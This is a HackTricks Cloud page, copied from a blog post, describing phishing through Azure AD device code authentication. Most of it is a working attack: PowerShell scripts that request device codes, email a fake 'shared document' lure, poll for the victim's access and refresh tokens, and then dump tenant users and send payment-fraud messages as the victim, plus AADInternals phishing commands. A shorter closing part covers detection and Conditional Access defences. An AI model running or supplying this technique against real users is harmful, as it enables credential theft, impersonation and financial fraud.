HackTricks Cloud
HackTricks Cloud
Ask or search…
Comment on page

Az - Device Code Authentication Phishing

Support HackTricks and get benefits!
This post was copied from https://o365blog.com/post/phishing/****

What is device code authentication

According to Microsoft documentation the device code authentication:
allows users to sign in to input-constrained devices such as a smart TV, IoT device, or printer. To enable this flow, the device has the user visit a webpage in their browser on another device to sign in. Once the user signs in, the device is able to get access tokens and refresh tokens as needed.
The process is as follows:
  1. 1.
    A user starts an app supporting device code flow on a device
  2. 2.
    The app connects to Azure AD /devicecode endpoint and sends client_id and resource
  3. 3.
    Azure AD sends back device_code, user_code, and verification_url
  4. 4.
    Device shows the verification_url (hxxps://microsoft.com/devicelogin) and the user_code to the user
  5. 5.
    User opens a browsers and browses to verification_url, gives the user_code when asked and logs in
  6. 6.
    Device polls the Azure AD until after succesfull login it gets access_token and refresh_token
Device Code flow

Phishing with device code authentication

The basic idea to utilise device code authentication for phishing is following.
  1. 1.
    An attacker connects to /devicecode endpoint and sends client_id and resource
  2. 2.
    After receiving verification_uri and user_code, create an email containing a link to verification_uri and user_code, and send it to the victim.
  3. 3.
    Victim clicks the link, provides the code and completes the sign in.
  4. 4.
    The attacker receives access_token and refresh_token and can now mimic the victim.

1. Connecting to /devicecode endpoint

The first step is to make a http POST to Azure AD devicecode endpoint:
I’m using the following parameters. I chose to use “Microsoft Office” client_id because it looks the most legit app name, and it can be used to access other resources too. The chosen resource gives access to AAD Graph API which is used by MSOnline PowerShell module.
The response is similar to following:
"user_code": "CLZ8HAV2L",
"device_code": "CAQABAAEAAAB2UyzwtQEKR7-rWbgdcBZIGm0IlLxBn23EWIrgw7fkNIKyMdS2xoEg9QAntABbI5ILrinFM2ze8dVKdixlThVWfM8ZPhq9p7uN8tYIuMkfVJ29aUnUBTFsYCmJCsZHkIxtmwdCsIlKpOQij2lJZzphfZX8j0nktDpaHVB0zm-vqATogllBjA-t_ZM2B0cgcjQgAA",
"verification_url": "https://microsoft.com/devicelogin",
"expires_in": "900",
"interval": "5",
"message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code CLZ8HAV2L to authenticate."
The code a user will enter when requested
The device code used to “poll” for authentication result
The url the user needs to browse for authentication
The expiration time in seconds (15 minutes)
The interval in seconds how often the client should poll for authentication
The pre-formatted message to be show to the user
Here is a script to connect to devicelogin endpoint:
# Create a body, we'll be using client id of "Microsoft Office"
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"resource" = "https://graph.windows.net"
# Invoke the request to get device and user codes
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" -Body $body
$user_code = $authResponse.user_code
Note! I’m using a version 1.0 which is a little bit different than v2.0 flow used in the documentation.

2. Creating a phishing email

Now that we have the verification_url (always the same) and user_code we can create and send a phishing email.
Note! For sending email you need a working smtp service.
Here is a script to send a phishing email to the victim:
# Create a message
$message = @"
Here is the link to the <a href="https://microsoft.com/devicelogin">document</a>. Use the following code to access: <b>$user_code</b>. <br><br>
# Send the email
Send-MailMessage -from "Don Director <[email protected]>" -to "[email protected]" -Subject "Don shared a document with you" -Body $message -SmtpServer $SMTPServer -BodyAsHtml
The received email looks like this:
Device Code flow

3. “Catching the fish” - victim performs the authentication

When a victim clicks the link, the following site appears. As we can see, the url is a legit Microsoft url. The user is asked to enter the code from the email.
Device code
After entering the code, user is asked to select the user to sign in. As we can see, the user is asked to sign in to Microsoft Office - no consents are asked.
Note! If the user is not logged in, the user needs to log in using whatever methods the target organisation is using.
After successfull authentication, the following is shown to the user.\
At this point the identity of the user is compromised!

4. Retrieving the access tokens

The last step for the attacker is to retrieve the access tokens. After completing the step 2. the attacker starts polling the Azure AD for the authentication status.
Attacker needs to make an http POST to Azure AD token endpoint every 5 seconds:
The request must include the following parameters (code is the device_code from the step 1)
If the authentication is pending, an http error 400 Bad Request is returned with the following content:
"error": "authorization_pending",
"error_description": "AADSTS70016: OAuth 2.0 device flow error. Authorization is pending. Continue polling.\r\nTrace ID: b35f261e-93cd-473b-9cf9-b81f30800600\r\nCorrelation ID: 8ee0ae8a-533f-4742-8334-e9ed939b083d\r\nTimestamp: 2020-10-14 06:06:07Z",
"error_codes": [70016],
"timestamp": "2020-10-13 18:06:07Z",
"trace_id": "b35f261e-93cd-473b-9cf9-b81f30800600",
"correlation_id": "8ee0ae8a-533f-4742-8334-e9ed939b083d",
"error_uri": "https://login.microsoftonline.com/error?code=70016"
After successfull login, we’ll get the following response (tokens truncated):
"token_type": "Bearer",
"scope": "user_impersonation",
"expires_in": "7199",
"ext_expires_in": "7199",
"expires_on": "1602662787",
"not_before": "1602655287",
"resource": "https://graph.windows.net",
"access_token": "eyJ0eXAi...HQOT1rvUEOEHLeQ",
"refresh_token": "0.AAAAxkwD...WxPoK0Iq6W",
"foci": "1",
"id_token": "eyJ0eXAi...widmVyIjoiMS4wIn0."
The following script connects to the Azure AD token endpoint and polls for authentication status.
$continue = $true
$interval = $authResponse.interval
$expires = $authResponse.expires_in
# Create body for authentication requests
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
"resource" = "https://graph.windows.net"
# Loop while authorisation is pending or until timeout exceeded
Start-Sleep -Seconds $interval
$total += $interval
if($total -gt $expires)
Write-Error "Timeout occurred"
# Try to get the response. Will give 40x while pending so we need to try&catch
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0 " -Body $body -ErrorAction SilentlyContinue
# This is normal flow, always returns 40x unless successful
$details=$_.ErrorDetails.Message | ConvertFrom-Json
$continue = $details.error -eq "authorization_pending"
Write-Host $details.error
# Not pending so this is a real error
Write-Error $details.error_description
# If we got response, all okay!
break # Exit the loop
Now we can use the access token to impersonate the victim:
# Dump the tenant users to csv
Get-AADIntUsers -AccessToken $response.access_token | Export-Csv users.csv
We can also get access tokens to other services using the refresh token as long as the client_id remains the same.
The following script gets an access token for Exchange Online.
# Create body for getting access token for Exchange Online
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"grant_type" = "refresh_token"
"scope" = "openid"
"resource" = "https://outlook.office365.com"
"refresh_token" = $response.refresh_token
$EXOresponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token" -Body $body -ErrorAction SilentlyContinue
# Send email as the victim
Send-AADIntOutlookMessage -AccessToken $EXOresponse.access_token -Recipient "[email protected]" -Subject "Overdue payment" -Message "Pay this <h2>asap!</h2>"

Using AADInternals for phishing

AADInternals (v0.4.4 or later) has an Invoke-AADIntPhishing function which automates the phishing process.
The phishing message can be customised, the default message is following:
'<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/><br/>Here is a <a href="{1}">link</a> you <b>should not click</b>.<br/><br/>If you still decide to do so, provide the following code when requested: <b>{0}</b>.</div>'
Default message in email:
Phishing email
Default message in Teams:
Phishing message


The following example sends a phishing email using a customised message. The tokens are saved to the cache.
# Create a custom message
$message = '<html>Hi!<br/>Here is the link to the <a href="{1}">document</a>. Use the following code to access: <b>{0}</b>.</html>'
# Send a phishing email to recipients using a customised message and save the tokens to cache
Invoke-AADPhishing -Recipients "[email protected]","[email protected]" -Subject "Johnny shared a document with you" -Sender "Johnny Carson <[email protected]>" -SMTPServer smtp.myserver.local -Message $message -SaveToCache
Mail sent to: [email protected]
Received access token for [email protected]
And now we can send email as the victim using the cached token.
# Send email as the victim
Send-AADIntOutlookMessage -Recipient "[email protected]" -Subject "Overdue payment" -Message "Pay this <h2>asap!</h2>"
We can also send a Teams message to make the payment request more urgent:
# Send Teams message as the victim
Send-AADIntTeamsMessage -Recipients "[email protected]" -Message "Just sent you an email about due payment. Have a look at it."
Sent MessageID
---- ---------
16/10/2020 14.40.23 132473328207053858
The following video shows how to use AADInternals for email phishing.


AADInternals supports sending phishing messages as Teams chat messages.
Note! After the victim has “authenticated” and the tokens are received, AADInternals will replace the original message. This message can be provided with -CleanMessage parameter.
The default clean message is:
'<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/>If you are seeing this, <b>someone has stolen your identity!</b>.</div>'
Teams clean message
The following example sends a phishing email using customised messages. The tokens are saved to the cache.
# Get access token for Azure Core Management
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# Create the custom messages
$message = '<html>Hi!<br/>Here is the link to the <a href="{1}">document</a>. Use the following code to access: <b>{0}</b>.</html>'
$cleanMessage = '<html>Hi!<br/>Have a nice weekend.</html>'
# Send a teams message to the recipient using customised messages
Invoke-AADPhishing -Recipients "[email protected]" -Teams -Message $message -CleanMessage $cleanMessage -SaveToCache
Teams message sent to: [email protected]. Message id: 132473151989090816
Received access token for [email protected]
The following video shows how to use AADInternals for Teams phishing.


First of all, from the Azure AD point-of-view the login takes place where the authentication was initiated. This is a very important point to understand. This means that in the signing log, the login was performed from the attacker location and device, not from user’s.
However, the access tokens acquired using the refresh token do not appear in signing log!
Below is an example where I initiated the phishing from an Azure VM (well, from the cloud shell to be more specific). As we can see, the login using the “Microsoft Office” client took place at 7:23 AM from the ip-address However, getting the access token for Exchange Online at 7:27 AM is not shown in the log.
Azure AD signing log
If there are indications that the user is signing in from non-typical locations, the user account might be compromised.


The only effective way for preventing phishing using this technique is to use Conditional Access (CA) policies. To be specific, the phishing can not be prevented, but we can prevent users from signing in based on certain rules. Especially the location and device state based policies are effective for protecting accounts. This applies for the all phishing techniques currently used.
However, it is not possible to cover all scenarios. For instance, forcing MFA for logins from illicit locations does not help if the user is logging in using MFA.


If the user has been compromised, the user’s refresh tokens can be revoked, which prevents attacker getting new access tokens with the compromised refresh token.


As far as I know, the device code authentication flow technique has not used for phishing before.
From the attacker point of view, this method has a couple of pros:
  • No need to register any apps
  • No need to setup a phishing infrastructure for fake login pages etc.
  • The user is only asked to sign in (usually to “Microsoft Office”) - no consents asked
  • Everything happens in login.microsoftonline.com namespace
  • Attacker can use any client_id and resource (not all combinations work though)
  • If the user signed in using MFA, the access token also has MFA claim (this includes also the access tokens fetched using the refresh token)
  • Preventing requires Conditional Access (and Azure AD Premium P1/P2 licenses)
From the attacker point of view, this method has at least one con:
  • The user code is valid only for 15 minutes
Of course, the attacker can minimise the time restriction by sending the phishing email to multiple recipients - this will increase the probability that someone signs in using the code.
Another way is to implement a proxy which would start the authentication when the link is clicked (credits to @MrUn1k0d3r). However, this way the advantage of using a legit microsoft.com url would be lost.
Checklist for surviving phishing campaings:
  1. 1.
    Educate your users about information security and phishing
  2. 2.
    Use Multi-Factor Authentication (MFA) :iphone:
  3. 3.
    Use Intune :hammer_and_wrench: and Conditional Access (CA) :stop_sign:
Support HackTricks and get benefits!